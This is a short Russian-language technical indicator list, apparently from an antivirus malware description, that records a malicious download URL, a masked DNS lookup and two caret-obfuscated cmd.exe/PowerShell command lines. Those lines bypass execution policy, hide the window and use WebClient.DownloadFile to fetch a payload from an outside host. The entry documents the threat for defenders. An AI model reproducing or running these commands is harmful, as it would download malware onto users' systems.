Техническая информация
- http://transporingsytw.wang/search.php как %appdata%.exe
- '<SYSTEM32>\cmd.exe' /C "pO^wE^r^S^H^e^l^L.e^xe -e^Xe^CuTIOnPOLIcY b^yp^ASS^ -noP^RoFI^LE^ -wiN^doWS^Ty^l^E ^H^i^d^DEN (n^e^w-obJ^eCT ^SY^StEM^.n^e^T.^wE^BcLi^e^N^t).DownlO^Ad^f^ilE(^'http://trans...
- DNS ASK tr#####ringsytw.wang
- '<SYSTEM32>\cmd.exe' /C "pO^wE^r^S^H^e^l^L.e^xe -e^Xe^CuTIOnPOLIcY b^yp^ASS^ -noP^RoFI^LE^ -wiN^doWS^Ty^l^E ^H^i^d^DEN (n^e^w-obJ^eCT ^SY^StEM^.n^e^T.^wE^BcLi^e^N^t).DownlO^Ad^f^ilE(^'http://trans...' (со скрытым окном)